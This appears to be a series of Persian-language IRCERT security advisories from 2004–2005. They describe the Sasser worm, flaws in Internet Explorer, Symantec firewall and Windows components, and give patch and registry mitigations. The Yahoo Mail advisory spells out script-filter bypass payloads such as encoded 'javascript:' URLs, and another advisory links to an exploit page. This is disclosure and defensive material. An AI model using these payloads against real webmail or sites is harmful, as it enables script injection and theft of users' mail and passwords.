  • بنظر میرسد از کار انداختن protocol handler های ITS و MHTML ، جلوی بهره‌برداری از این شکاف امنیتی را می‌گیرد. این کلیدها را در رجیستری تغییر دهید یا حذف کنید:

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PROTOCOLS\Handler\

{ms-its,ms-itss,its,mk,mhtml}

  • ازکار انداختن این Handlerها از کارایی سیستم Help ویندوز تا حد زیادی می‌کاهد و ممکن است عواقب ناخواسته دیگری نیز داشته باشد. بنابراین با نصب patch و اطمینان از صحت کارکرد آن، تغییرات اعمال شده را به حالت قبل برگردانید.
  • URLهای ناخواسته را که در پیامها یا اتاقهای گفتگو وجود دارند، دنبال نکنید.
  • نرم‌افزار ضدویروس خود را به‌روز نگاه دارید.


﻿ IRCERT - و روش‌های مقابله با آن - راهنماییها W32/Sasser

کرم W32/Sasser و روش‌های مقابله با آن

تاریخ انتشار اولیه: 1 می 2004 (۱۲ اردیبهشت ۱۳۸۳)

تاریخ تجدید نظر و اصلاح: 3 می 2004 (۱۴ اردیبهشت ۱۳۸۳)

سیستمهای تحت تاثیر

· Windows 2000

· Widows XP

· Windows 2003 Server

چکیده

این کرم تلاش می‌کند که از یک شکاف امنیتی بر اساس سرریز بافر در
 Windows Local Security Authority Service Server(LSASS) استفاده ‌کند. این شکاف امنیتی به یک نفوذگر اجازه می‌دهد که کنترل سیستم آلوده شده را از طریق کامپیوتر دیگر در دست گیرد

توضیح

گزارشهایی از کرم جدید به اسم W32/Sasser دریافت شده است. این کرم تلاش می‌کند که از یک شکاف امنیتی بر اساس سرریز بافر در Windows Local Security Authority Service Server(LSASS) استفاده ‌کند. این شکاف امنیتی به یک نفوذگر اجازه می‌دهد که کنترل سیستم آلوده شده را از طریق کامپیوتر دیگر در دست گیرد و کدهای دلخواه خود را با دسترسی در سطح سیستم اجرا کند. اطلاعات بیشتر در مورد این شکاف امنیتی را می‌توانید در VU#753212 و بولتن امنیتی مایکروسافت MS04-011 ببینید و Patch مناسب را با توجه به سیستم عامل فعلی خود دانلود کنید.

بروزرسانی نرم‌افزارهای ضدویروس برای مقابله با این کرم بشدت توصیه می‌گردد.از طریق این لینک نیزمی‌توانید با مراحل مقابله با Sasser آشنا شوید.

مرحله۱ : یک فایروال بر روی سیستم خود فعال کنید.

اول قدم، مطمئن شوید که فایروال را برای کمک به محافظت در مقابل آلودگی فعال کرده‌اید. اگر فایروال مطمئنی از قبل داشته‌اید احتمالا راه Sasser را مسدود کرده است و اگر کامپیوتر شما آلوده شده‌است، فعال کردن فایروال به محدود کردن تاثیرات این کرم کمک می‌کند.

مرحله۲: نسخه امنیتی به‌روز لازم را نصب کنید.

برای مراقبت از کامپیوترتان در مقابل کرم Sasser و انواع آن، ابتدا باید نسخه بروز امنیتی شماره 835732 را که در بولتن امنیتی مایکروسافت موجود است، دانلود و نصب کنید.

توجه: چنانچه شما این عمل را قبل از ۳۰ آوریل (۱۱ اردیبهشت) انجام داده‌اید، سیستم شما از این حمله مصون مانده است.

مرحله۳: سیستم خود را برای از بین بردن این کرم چک کنید.

با استفاده از این ابزار هارد سیستم خود را بررسی کنید تا در صورت وجود کرم، آنرا از بین ببرد.

کرمهای خانواده W32.Sasser سیستم‌عامل‌های Windows 2000 و Windows XP را آلوده می‌کنند. Sasser می‌تواند روی کامپیوترهای با سیستم‌عامل Windows 95/98/Me اجرا شود اما آنها را آلوده نمی‌کند. اگرچه این سیستم‌عاملها آلوده نمی‌شوند اما می‌توانند برای آلوده‌کردن سیستمهای آسیب‌پذیری که این کامپیوترها به آنها متصل می‌شوند، استفاده گردند. در این حالت، کرم منابع زیادی را اشغال می‌کند و به سایر برنامه‌ها حتی ابزار مقابله با کرم، اجازه اجرای درست و مناسب را نمی‌دهد. (روی Windows 95/98/Me ابزار از بین بردن کرم باید در Safe mode اجرا شود)

برای از بین بردن آلودگی انواع مختلف W32/Sasser ، می‌توانید از لینک‌های زیر استفاده کنید:

  • W32.Sasser.Worm
  • W32.Sasser.B.Worm
  • W32.Sasser.C.Worm
  • W32.Sasser.D.Worm

این ابزار در حقیقت اعمال زیر را انجام می‌دهد:

۱-به پروسه‌های ویروسی W32.Sasser خاتمه می‌دهد.

۲-فایلهای W32.Sasser را از بین می‌برد.

۳-مقادیری را که کرم در رجیستری اضافه کرده است، پاک می‌کند.


﻿ IRCERT - راهنماییها

صفحه اول > راهنماییها

خطای سرریزی بافر در Microsoft Jet Database Engine

شکاف امنیتی ناشی از اعتبار سنجی نامناسب پارامترهای ارسالی به XmlHttpRequest در Internet Explorer

Backdoor.Hesive

Bypassing Personal Firewall (ZoneAlarm Pro) Protection

آ سیب پذیری از نوع عدم پذیرش سرویس ( DoS) در چند محصول عرضه شده TCP/IP و ICMP

خطای عدم سرویس دهی ( Dos) در Internet Explorer سیستم عامل Mac

خطای سرریز بافر در MS Task Scheduler

چند شکاف امنیتی در ویندوز میکروسافت

شکاف امنیتی تزریق کد به فریم در IE

انتشار وصله امنیتی ADODB

شیوه استفاده از راهنماییها

شکاف امنیتی جدید در IE

ضعف امنیتی در Yahoo Mail

چندین شکاف امنیتی در فایروال Symantec (نورتون)

اجرای برنامه با استفاده از desktop.ini در MS Windows

کرم W32/Sasser و روش‌هاي مقابله با آن

شکاف امنيتي بين دامنه‌اي در بدست‌گيرنده(Handler) پروتکل Outlook Express MHTML

تهدیدهای مداوم برای کاربران خانگی و راههای مقابله

شکاف امنیتی در Microsoft Outlook 2002

ویروس W32/NetSky.B

وجودشکاف امنیتی درسرویس WorkStation (ویندوز XP، 2000،...)

شکافهای امنیتی Internet Explorer

ویروسهای مبتنی بر ایمیل

W32/MyDoom.B ویروس

IE کشف شکاف جدید در

Check Point Firewall-1 مشکل امنیتی

عدم نمایش URLها در Microsoft IE


﻿ IRCERT - راهنماییها- desktop.ini اجرای برنامه با استفاده از

اجرای برنامه با استفاده از desktop.ini در MS Windows

تاریخ: 2004-05-18
میزان خطر: متوسط
منبع: Secunia.com
توسط : روزبه افراسیابی

سیستمهای تحت تاثیر:
Microsoft Windows 2000 Advanced Server
Microsoft Windows 2000 Datacenter Server
Microsoft Windows 2000 Professional
Microsoft Windows 2000 Server
Microsoft Windows XP Home Edition
Microsoft Windows XP Professional

چکیده
وجود یک شکاف امنیتی در نحوه نمایش محتویات Folder ها در ویندوز ممکن است باعث شود تا نفوذگر قادر به اجرای برنامه ای خارج از حدود اختیارات خود باشد (Privilege Escalation)

 توضیح
وجود فایلی به نام Desktop.ini (Hidden) در یک Folder باعث میشود تا ویندوز برخی اعمال خاص را در مورد آن Folder انجام دهد. بعنوان مثال با استفاده از پارامترهای قابل تعریف در این فایل میتوان آیکون استاندارد یک Folder خاص را با یک آیکون دلخواه تعویض کرد.

یکی از پارامترهای قابل تعریف در همین فایل با نام "[.ShellClassInfo]" منشا بروز شکاف امنیتی جاری ست. اگر این پارامتر به گونه ای تعریف شود که به CLSID یک فایل اجرایی اشاره کند ممکن است باعث اجرای برنامه ای با اختیارات کاربری غیر از کاربر جاری شود.

این شکاف امنیتی در حال حاضر حتی بر روی نسخه های دارای Patch های کامل نیز قابل اجراست.

راه حل
به کاربران غیر قابل اعتماد اجازه کار کردن بر روی کامپیوترهای دارای اطلاعات حساس را به صورت Local ندهید. حتی کاربران با اختیارات محدود (مانند Guest).


﻿ IRCERT - راهنماییها- symantec چندین شکاف امنیتی در فایروال

چندین شکاف امنیتی در فایروال Symantec (نورتون)

تاریخ انتشار: 2004-05-13
منبع: Eeye.com
میزان خطر: بشدت بالا

شماره CVE:
 CAN-2004-0444
CAN-2004-0445

سیستمهای تحت تاثیر:
Norton Personal Firewall 2004
Norton Internet Security 2004
Norton Internet Security 2004 Professional
Norton Internet Security 2003
Norton Internet Security 2003 Professional
Norton Personal Firewall 2003
Norton Internet Security 2002
Norton Personal Firewall 2002
Symantec Client Firewall 5.x
Symantec Client Security 1.x
Symantec Client Security 2.x
Norton AntiSpam 2004

چکیده:
وجود چندین شکاف امنیتی در سرویسهای مختلف فایروال شخصی شرکت Symantec(Norton) امکان حملات از نوع DoS و Buffer Overflow را برای نفوذگران فراهم میکند. نفوذگران میتوانند با استفاده از این شکافهای امنیتی به کامپیوتر شما نفوذ کرده و کنترل کامل آنرا در دست گیرند و یا سرویسهای خاصی ازان را از کار بیاندازند.

توضیح:

  1. عدم چک کردن محدود بافر در سرویس SYMDNS.SYS در هنگام آنالیز دیتاگرامهای NETBIOS ممکن است باعث خطای سرریز پشته شود. نفوذگران میتوانند با فرستادن پاسخهای خاص NETBIOS به این سرویس، پشته را سرریز و کنترل کامل کامپیوتر مورد حمله را در دست گیرند. حمله موفق به این سرویس باعث اجرای برنامه نفوذگر در حلقه صفر(0 Ring) با بالاترین اولویت میشود. البته به صورت پیش فرض پورت 137 UDP که برای این حمله به کار میرود بسته است.
  2. وجود خطا در سرویس SYMDNS.SYS باعث میشود تا با ارسال دیتاگرامهای خاص DNS توسط نفوذگر کامپیوتر مورد حمله کاملا از کار بیافتد.
  3. وجود خطا در سرویس SYMDNS.SYS باعث میشود تا نفوذ گر بتواند با ارسال پاسخهای خاص NBNS(NetBios Name Service) باعث خطای سرریز Heap شود. تاثیرات این حمله مشابه شماره یک است.
  4. وجود خطا در درایور SYMDNS.SYS باعث میشود تا نفوذگر بتواند با ارسال پاسخهای طولانی DNS (فیلد CNAME در Resource Record های DNS) باعث خطای سرریز پشته و اجرای کد مورد نظر خود بر روی کامپیوتر مورد حمله گردد. کد مورد نظر نفوذگر در حلقه صفر سیستم عامل و با بالاترین اولویت اجرا خواهد شد. این خطا بر خلاف موارد قبل حتی در صورت فیلتر شدن تمامی پورتها و اعمال تمامی قواعد امنیتی هم در دسترس خواهد بود زیرا به مشکل طراحی این فایروال بازمیگردد.
  • این مشکلات امنیتی ممکن است باعث تولید کرمهای اینترنتی آینده شوند. به همین دلیل میزان جدیت این هشدارها بالا گزارش شده.

راه حل:
به روز رسانی نرم افزار مذکور از طریق برنامه LiveUpdate (که در خود بسته نرم افزاری Symantec موجود است) یا اعمال Patch مربوطه.

لینکها:
Symantec
 http://securityresponse.symantec...security/Content/2004.05.12.html

eEye Digital Security
http://www.eeye.com/html/Research/Advisories/AD20040512A.html
 http://www.eeye.com/html/Research/Advisories/AD20040512B.html
http://www.eeye.com/html/Research/Advisories/AD20040512C.html
http://www.eeye.com/html/Research/Advisories/AD20040512D.html


﻿ IRCERT - راهنماییها- IE شکاف امنیتی جدید در

شکاف امنیتی جدید در IE

شماره: IRCAD8315
تاریخ انتشار: 8 ژوئن 2004
منبع: Secunia.com
میزان خطر: به شدت بالا

سیستمهای تحت تاثیر:
Microsoft Internet Explorer 6
Microsoft Internet Explorer 6 SP1

چکیده

طی ماههای اخیر وجود شکافهای امنیتی متعدد XSS (Cross Site Scripting) در نرم افزار IE گزارش شده است. در حالی که این حدس وجود داشت که لااقل در کوتاه مدت با توجه به وصله های اخیر امنیتی این مشکلات برطرف شده است ، توسعه یک تروجن به نام 180 Solutions این حدس را باطل کرد. این تروجن که از ترکیبی از شکافهای امنیتی قبلی بعلاوه دو شکاف جدید استفاده میکند حتی بر روی سرویسهای دارای وصله های امنیتی نیز عمل میکند.

توضیح:

ترکیب دو شکاف امنیتی فعلی با شکافهای امنیتی قبلی باعث میشود تا نفوذگر بتواند براحتی و از راه دور (Remotely) کنترل سیستم شما را در دست گیرد:

  1. استفاده از یکی از انواع شکاف "ms-its:" که به نفوذگر اجازه دستیابی به Local Zone را میدهد. این کار از طریق یک URL خاص "Location:" در هدر HTTP انجام میشود که بوسیله آن میتوان به فایلهای CHM محلی دست یافت.
  2. بعد از انجام مرحله بالا با استفاده از XSS میتوان در Local Zone یک Script را اجرا کرد (عموما با بهره کیری از ActiveX مشکل دار ADODB)

تیمهای Secunia و Full-Disclosure تصدیق کرده اند که شکاف جدید بر روی تمامی نسخه های IE حتی به صورت Full Patch نیز عمل میکند. تنها گویا با نصب Service Pack2 این شکاف از بین میرود که با توجه به مشکلات پایداری SP2 میتوان گفت تمامی سیستمها در مقابل این شکاف آسیب پذیر هستند.

راه حل

  1. در حال حاضر هیچ وصله امنیتی برای حل این مشکل وجود ندارد.

  2. اگر سایتی را نمیشناسید روی لینک آن کلیک نکنید (حتی المقدور)

  3. Active Scripting را غیر فعال کنید. اینکار در IE از از طریق منوی Options بخش Security Settings انجام میشود

  4. این احتمال وجود دارد که با تغییر این گزینه در رجیستری مشکل حل شود. این کار را از طریق برنامه RegEdit میتوانید انجام دهید. دقت کنید که با انجام این کار Help ویندوز از کار خواهد افتاد: HKEY_CLASSES_ROOT\PROTOCOLS\Handler\ms-its

مهم: استفاده وسیع ازاین شکاف امنیتی در سایتهای مختلف گزارش شده است

لینکهای مرتبط:

اصل خبر
Cert هند
Security Focus Vulns Info ‘ Microsoft Internet Explorer URL Local Resource Access Weakness '
Security Focus Vulns Info ‘ Microsoft Internet Explorer Modal Dialog Zone Bypass Vulnerability'
Security Focus Vulns Info‘ Multiple Microsoft Internet Explorer Script Execution Vulnerabilities'
Secunia Advisory SA11793


﻿ IRCERT - راهنماییها- Yahoo Mail ضعف امنیتی در

ضعف امنیتی در Yahoo Mail

شماره : IRCAD8316
تاریخ: 3 ژوئن 2004
منبع: GreyMagic.com
میزان خطر: ب ه شدت بالا

سیستمهای تحت تاثیر:
سرویس ایمیل یاهو

چکیده

یکی از بزرگترین خطراتی که کاربران سرویسهای Webmail را تهدید میکند خطر سرقت اطلاعات آنها توسط ارسال کنندگان ایمیلهای خطرناک است. این ایمیلهای خطرناک عمدتا حاوی محتوای HTML و دستورات Jscript هستند. در سالهای اخیر دو سایت Hotmail و Yahoo و سایر رقیبان آنها تلاش زیادی در جهت حذف محتوای Jscript (بعنوان منبع اصلی خطر)از ایمیلهای HTML کرده اند. اما به نظر میرسد با وجود این تلاشها هنوز هم تعداد زیادی شکاف امنیتی برای عبور نفوذگران در این سایتها باز مانده است.

مقدمه

سرویس دهندگان ایمیل مبتنی بر وب (مانند Hotmail و yahoo) طی سالهای اخیر تلاش زیادی در جهت هر چه قدرتمند کردن فیلترهای خود کرده اند. وظیفه اصلی این فیلتر ها عمدتا حذف Script (دستورات قابل اجرا در مرورگرها) از محتوای ایمیل است. البته برخی سرویس دهندگان میل صورت مساله را کلا پاک کرده اند. به این معنی که اساسا اجازه ارسال و دریافت ایمیل به شکل HTML را از کاربران گرفته اند. به این ترتیب هیچ اسکریپتی هم دریافت نخواهد شد. اما سرویس دهندگان بزرگ نمیتوانند این کار بکنند. دلیل آن واضح است: حجم بسیار بالایی از کاربران علاقمندند که ایمیلهای مبتنی بر HTML (دارای فرمت مشخص و احتمالا شامل تصویر...) را دریافت کنند و نمیتوان این امکان را از آنها گرفت.

حال در صورتی که نفوذگری بتواند فیلتر یاهو را دور زده و اسکریپتی را در ایمیل دریافتی توسط شما قرار دهد خطرات زیر شما را تهدید خواهد کرد:

  • سرقت کلمه عبور
  • سرقت محتویات میل باکس
  • ارسال ایمیل توسط نفوذگر اما از طرف شما (البته انجام اینکار از روشهای ساده تر نیز امکانپذیر است)
  • دسترسی به فایلهای موجود روی کامپیوتر

مهم: در این سری شکافهای امنیتی ایمیل خطرناک شمال هیچ پیوستی (Attachment) نیست و تنها کلیک کردن بر روی عنوان ایمیل کافی ست تا کامپیوتر شما آلوده شود.

توضیحات :

شکاف امنیتی کشف شده توسط Greymagic بر روی سایت یاهو از دو شکافی که پیشتر گزارش شده و توسط یاهو تصحیح شده بود بهره میگیرد:

  1. جایگزینی برخی کاراکترها بوسیله کدهای مربوطهjav&#97script:alert()..
  2. استفاده از یک ویژگی مرورگرها که جای خالی (White Space) را در URL ها نادیده میگیرند. "java&#13;script:alert()"

Exploit جدید با بهره گیری ازین دو شکاف و نیز قرار دیدن چندین صفر پیش از فضای خالی عمل میکند:

java&#000013;script:alert()

راه حل:

  1. هر چند این شکاف فعلی توسط یاهو برطرف شده اما گزارشات متعددی از وجود شکافهای متعدد مشابه وجود دارد.
  2. بر روی عنوان ایمیلهای ناشناس کلیک نکنید.
  3. حتی در صورت رعایت مورد قبل باز ممکن است آلوده شوید زیرا این امکان وجود دارد که نفوذگر با اسمی آشنا برای شما میل بفرستد. حتی المقدور اطلاعات شخصی و حساس خود را از طریق ایمیلهای مبتنی بر وب منتقل نکنید.
  4. جهت ارسال و دریافت اطلاعات حساس از PGP یا راه حلی مشابه استفاده کنید.
  5. راه حل شناخته شده ای جهت حل کامل این مشکل گزارش نشده است.


﻿ IRCERT - راهنماییها- ADODB انتشار وصله امنیتی

انتشار وصله امنیتی ADODB

شماره : IRCAD8317

تاریخ انتشار: 2 جولای 2004

منبع: us-cert.gov

میزان خطر: متوسط

سیستمهای تحت تاثیر:

تمامی نسخه های Microsoft windows

چکیده:

روز گذشته یک وصله امنیتی توسط شرکت میکروسافت ارائه شد که بالاخره پس از قریب نه ماه بزرگترین ابزار کار نفوذگران را غیر فعال کرد. ADODB.Stream اکتیواکسی بود که بیش از هر چیز توسط نفوذگران برای ذخیره سازی backdoor بر روی کامپیوترهای شخصی مورد استفاده قرار میگرفت.

توضیح:

یکی از متداول ترین حملات اینترنتی حملات Cross Site Script یا اصطلاحا XSS است. در این کلاس از حملات نفوذگر سعی میکند تا کد مورد نظر خود را در دامنه امنیتی ای غیر از دامنه امنیتی خودش اجرا کند. به صورت معمول هنگام مشاهده یک سایت دامنه امنیتی مرورگر شما Internet Zone است و هیچ کدی حق اجرای مستقیم بر روی کامپیوتر شما را ندارد. اما هنگام مشاهده فایلی که بر روی کامپیوتر خودتان وجود دارد (توسط مرورگر) دامنه امنیتی مرورگر Local Machine Zone یا LMZ است و هر کد یا اسکریپتی امکان اجرا بر روی کامپیوتر شما را دارد (از جمله کدهای مخرب). یک نمونه جدید از شکافهای امنیتی که باعث دستیابی نفوذگر به LMZ میشوند در IRCAD15 ذکر شده است.

پس ازانکه نفوذگر وارد LMZ شد معمولا به دنبال راهی میگردد تا یک برنامه مخرب را از اینترنت بر روی کامپیوتر شما منتقل، ذخیره و اجرا نماید. طی نه ماه اخیر این راه به صورت استاندارد با استفاده از اکتیواکس شرکت میکروسافت به نام ADODB.Stream انجام میشد(اطلاعات بیشتر در مورد این اکتیو اکس: 870669).

باید تاکید کرد که راههای دیگری جز استفاده از ADODB برای Download و اجرای یک برنامه مخرب وجود دارد.

راه حل:

  1. نصب وصله امنیتی میکروسافت
  2. غیر فعال کردن ActiveScripting و Activex Controls در Internet Zone (در قسمت Security Settings برنامه IE). البته غیر فعال کردن این دو در Local Zone هم امنیت بیشتری را برای شما تامین خواهد کرد.
  3. غیر فعال کردن ADODB به صورت دستی. اگر دسترسی به راه حل شماره یک ندارید این راه حل توصیه میشود. وصله امنیتی شماره یک در واقع تنها همین عمل را انجام میدهد.
    1. برنامه RegEdit را اجرا کنید
    2. کلید زیر را در رجیستری بیابید:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility

    3. تحت کلید فوق یک کلید با نام زیر ایجاد کنید:

{00000566-0000-0010-8000-00AA006D2EA4}

    4. تحت این کلید یک DWRORD VALUE با نام Compatibility Flags ایجاد کنید.
    5. مقدار متغیر بالا را برابر 400 به صورت HEX قرار دهید.
    6. برنامه RegEdit را ببندید
  3. به روزرسانی برنامه ضد ویروس (این راه حل در همه مواقع کارا نیست اما بعنوان یک سیاست امنیتی مناسب باید پیگیری شود)

لینکهای مرتبط:

اصل خبر

وصله امنیتی ADODB

راهنمایی میکروسافت برای افزایش امنیت IE


﻿ IRCERT - راهنماییها- IE شکاف امنیتی تزریق کد به فریم در

شکاف امنیتی تزریق کد به فریم در IE

شماره : IRCAD8318

تاریخ انتشار: 2 جولای 2004

منبع: Secunia.com

میزان خطر: بالا

سیستمهای تحت تاثیر:

Microsoft Internet Explorer 6

Microsoft Internet Explorer 6 SP1

Microsoft Internet Explorer 5.5

Microsoft Internet Explorer 5.01

چکیده:

سایت Malware.com موفق به کشف یک شکاف امنیتی در مرورگر شرکت میکروسافت (IE) شده است که گویا بیش از شش سال است بر روی مرورگر این شرکت موجود است و چاره ای برای آن اندیشیده نشده. این شکاف امنیتی به وب سایت نفوذگر (Malisious Website) اجازه میدهد محتوای یک فریم دیگر مربوط به سایت مورد اعتماد کاربر را تغییر دهد. این عمل ممکن است باعث دستیابی آسان نفوذگر به اطلاعات شخصی کاربران شود.

توضیح:

سایت Malware.com موفق به کشف یک شکاف امنیتی جدید در IE شده است. مدتها پیش وجود شکافهایی ازین دست در IE گزارش شده و میکروسافت وصله های امنیتی جهت حل آن ارائه کرده بود(MS98-020).

این شکاف امنیتی جدید به نفوذگر اجازه میدهد در حالی که مشغول مشاهده سایت او هستید محتویات دلخواه خود را فریم مربوط به یک سایت مورد اعتماد شما تزریق کند. ازین طریق کد دلخواه نفوذ گر در Zone مورد اعتماد شما اجرا خواهد شد و عملا امکان دارد هر برنامه ای توسط او بر روی کامپیوتر شما اجرا شود.

تا کنون گزارشات موجود تاکید میکنند که این شکاف امنیتی بر روی تمامی نسخه های IE6 بر روی ویندوز XP که به صورت کامل نیز patch شده باشند موجود است.

راه حل:

  1. گزینه زیر را در Security Settings برنامه IE غیر فعال کنید:

"Navigate sub-frames across different domains"

  2. از مشاهده محتوای سایتهایی که به آنها اعتماد ندارید اجتناب کنید.


﻿ IRCERT - چند شکاف امنیتی در ویندوز میکروسافت - راهنماییها

چند شکاف امنیتی در ویندوز میکروسافت

شماره: IRCAD8319

تاریخ انتشار: 30 جولای 2004

منبع: CERT.ORG

میزان خطر: بالا

سیستمهای تحت تاثیر:

  • Microsoft Internet Explorer 5.01 Service Pack 2

  • Microsoft Internet Explorer 5.01 Service Pack 3

  • Microsoft Internet Explorer 5.01 Service Pack 4

  • Microsoft Internet Explorer 5.5 Service Pack 2

  • Microsoft Internet Explorer 6

  • Microsoft Internet Explorer 6 Service Pack 1

  • Microsoft Internet Explorer 6 Service Pack 1 (64-Bit Edition)

  • Microsoft Internet Explorer 6 for Windows Server 2003

  • Microsoft Internet Explorer 6 for Windows Server 2003 (64-Bit Edition)

چکیده

وجود سه شکاف امنیتی بر روی سیستم عامل ویندوز ، ممکن است باعث اجرای کد غیر مجاز با اختیارات بالا بر روی سیستم شود. این شکافها باعث میشوند تا در تنها با مشاهده یک سایت خطرناک کامپیوتر شما آلوده شود. باید توجه کرد که کد حمله کننده دقیقا با اختیارات کاربر جاری ویندوز بر روی سیستم اجرا خواهد شد.

توضیح

سه شکاف امنیتی موجود بر روی ویندوز میکروسافت به شرح زیرند:

  • وجود خطای سر ریز Integer در IE

وجود این خطا در پردازش فایلهای Bitmap توسط IE ممکن است باعث شود تا نفوذگران با استفاده از یک فایل Bitmap خاص بتوانند به سیستم نفوذ کرده کنترل آنرا در دست گیرند. CAN-2004-0566

  • وجود خطای آزاد سازی مکرر در پردازش فایلهای GIF توسط IE

آزاد سازی دوباره حافظه توسط IE که حین پردازش فایلهای GIF به غلط صورت میگیرد باعث خراب شدن فضای حافظه و در نتیجه ایجاد امکان حمله Buffer Overflow میشود. CAN-2003-1048

  • وجود خطا در زمینه تایید صحت آدرس منبع یک فریم Redirect شده توسط IE

این خطا به صورت کامل در IRCAD8318 شرح داده شده است.

راه حل

اعمال وصله امنیتی میکروسافت

منابع

بولتن امنیتی میکروسافت

www.cert.org


﻿ IRCERT - راهنماییها- MS Task Schedulerخطای سرریز بافر در

خطای سرریز بافر در MS Task Scheduler

شماره: IRCAD8320

تاریخ انتشار: 13 جولای 2004

منبع: Internet Security Systems

میزان خطر: ---

سیستمهای تحت تاثیر:

  • Microsoft Internet Explorer 6.0 on NT 4.0 SP6a

  • Microsoft Windows XP

  • Microsoft Windows 2000 SP2

  • Microsoft Windows 2000 SP3

  • Microsoft Windows 2000 SP4

  • Microsoft Windows XP 64-bit Edition SP 1

  • Microsoft Windows XP SP1

  • Microsoft Internet Explorer 6.0 on NT 4.0 SP6a

  • Microsoft Windows XP

  • Microsoft Windows 2000 SP2

  • Microsoft Windows 2000 SP3

  • Microsoft Windows 2000 SP4

  • Microsoft Windows XP 64-bit Edition SP 1

  • Microsoft Windows XP SP1

چکیده

وجود خطای سرریز بافر در Task Scheduler ویندوز ممکن است باعث شود تا نفوذگران بتوانند از طریق نوع خاصی از فایلهای آلوده (.JOB) به سیستم شما نفوذ کرده ، کد مورد نظر خود را بر روی آن اجرا نمایند.

توضیح

Task Scheduler ویندوز تمامی Task ها را در فایلهایی با پسوند .JOB ذخیره میسازد. وجود خطای سر ریز بافر در هنگام پردازش این فایل توسط برنامه Mstask.dll به نفوذگر اجازه میدهد تا با تزریق کد دلخواه خود در یک فایل خاص .JOB بتواند برنامه مذکور را سرریز کرده کد دلخواه خود را اجرا نماید. این خطا در هنگام پردازش نامها و دستورات Scheduler ایجاد میشود.

وجود این خطا به نفوذگران اجازه نفوذ از راههای مختلفی را میدهد از جمله: ارسال ایمیلهایی با فایلهای ضمیمه .JOB ، یا قرار دادن چنین فایلهای در یک دایرکتوری عمومی. بازدید از یک سایت خطرناک نیز ممکن است باعث اجرای چنین فایلهای بر روی سیستم شود.

هشدار: حتی بازدید از سایت یا دایرکتوری حاوی چنین فایلی ممکن است دستگاه شما را آلوده کند و هیچ نیازی به Download کردن یا اجرای مستقیم این فایل برای انجام حمله نیست. در واقع این Shell32.dll است که توسط Explorer به صورت اتوماتیک فایل با پسوند .JOB را در صورت وجود فراخوانی میکند.

راه حل

اعمال وصله امنیتی میکروسافت

منابع

Internet Security Systems

NGSSoftware

www.cert.org


﻿ IRCERT - راهنماییها- Internet Explorer خطای عدم سرویس دهی در

خطای عدم سرویس دهی (Dos) در Internet Explorer

سیستم عامل Mac

تاریخ انتشار: 22 سپتامبر 2005 12:00AM

تاریخ به روز رسانی: 22 سپتامبر 2005 04:37PM

CVE: CVE-MAP-NOMATCH

کاشف: Mella Marco

میزان خطر: ------

سیستمهای تحت تاثیر:

Microsoft Internet Explorer Macintosh Edition 5.2.3

توضیح

Microsoft Internet Explorer در سیستم عامل Mac مستعد آسیب پذیری از نوع عدم سرویس دهی (Dos) میباشد. خطا هنگامی اتفاق میافتد که Internet Explorer سعی به render کردن صفحه وبی با محتویات دستکاری شده و خراب می کند.

این آسیب پذیری در نسخه Internet Explorer 5.2.3 سیستم عامل Mac وجود دارد.

کد Exploit:

http://www.securityfocus.com/data/vulnerabilities/exploits/IE_Crash.html

راه حل:

هنوز هیچ اصلاحیه یا راه حلی در این زمینه منتشر نشده است.

منابع:

http://www.microsoft.com/mac/

نویسنده:

محسن شریفی


﻿ IRCERT - راهنماییها- TCP/IP آسیب پذیری از نوع عدم پذیرش سرویس در چند محصول عرضه شده

آسیب پذیری از نوع عدم پذیرش سرویس (DoS)

در چند محصول عرضه شده TCP/IP و ICMP

تاریخ انتشار: 12 آپریل 2005 12:00AM

تاریخ به روز رسانی: 22 سپتامبر 2005 05:11PM

CVE: CAN-2005-0067, CAN-2005-0066, CAN-2005-0065

CAN-2004-1060, CAN-2004-0791, CAN-2004-0790

CAN-2005-0068

کاشف: Fernando Gont

میزان خطر: بالا (Critical)

سیستمهای تحت تاثیر:

Microsoft Windows XP Tablet PC Edition SP2

Microsoft Windows XP Tablet PC Edition SP1

Microsoft Windows XP Tablet PC Edition

Microsoft Windows XP Professional SP2

Microsoft Windows XP Professional SP1

Microsoft Windows XP Professional

Microsoft Windows XP Media Center Edition SP2

Microsoft Windows XP Media Center Edition SP1

Microsoft Windows XP Media Center Edition

Microsoft Windows XP Home SP2

Microsoft Windows XP Home SP1

Microsoft Windows XP Home

Microsoft Windows XP 64-bit Edition Version 2003 SP1
Microsoft Windows XP 64-bit Edition Version 2003

Microsoft Windows Server 2003 Web Edition

Microsoft Windows Server 2003 Standard Edition

Microsoft Windows Server 2003 Enterprise Edition

Microsoft Windows Server 2003 Datacenter Edition

Microsoft Windows 2000 Server SP4

Microsoft Windows 2000 Server SP3

Microsoft Windows 2000 Server SP2

Microsoft Windows 2000 Server SP1

Microsoft Windows 2000 Server

Microsoft Windows 2000 Professional SP4

Microsoft Windows 2000 Professional SP3

Microsoft Windows 2000 Professional SP2

Microsoft Windows 2000 Professional SP1

Microsoft Windows 2000 Professional

Microsoft Windows 2000 Datacenter Server SP4
Microsoft Windows 2000 Datacenter Server SP3
Microsoft Windows 2000 Datacenter Server SP2
Microsoft Windows 2000 Datacenter Server SP1
Microsoft Windows 2000 Datacenter Server

Microsoft Windows 2000 Advanced Server SP4
Microsoft Windows 2000 Advanced Server SP3
Microsoft Windows 2000 Advanced Server SP2
Microsoft Windows 2000 Advanced Server SP1
Microsoft Windows 2000 Advanced Server

چکیده

پروتکل ICMP برای بررسی انواع خطاها و ارسال پیام برای مبدا بسته در هنگام بروز مشکلات ناخواسته استفاده می شود. در حقیقت ICMP یک سیستم گزارش خطا است که بر روی پروتکل IP نصب میشود تا در صورت بروز هر گونه خطا به فرستنده بسته پیام مناسب را بدهد تا آن خطا تکرار نشود.

ساختار یک بسته ICMP بدین شکل است:

Type

Code

Checksum

Parameters

Data

برای پیغامهای خطای ICMP در RFC مربوطه هیچگونه بررسی امنیتی خاصی پیشنهاد نشده است. تا زمانی که یک پیغام ICMP شامل آدرس IP مبدا و مقصد معتبر و همچنین شماره پورت درست باشد برای یک ارتباط مختص به آن IP و پورت قابل قبول بوده و دریافت خواهد شد.

پیغام های خطای ICMP در چندین محصول پیاده سازی شده TCP/IP به اندازه کافی مورد بررسی قرار نمی گیرد و در نتیجه یک نفوذگر از راه دور قادر است با استفاده از پیغام های خطای ICMP موجب قطع یا کاهش ارتباطات TCP گردد.

توضیح

در زیر انواع حملاتی که به طور مستقل و در رابطه با این گزارش قابل اجرا می باشد ذکر شده است:

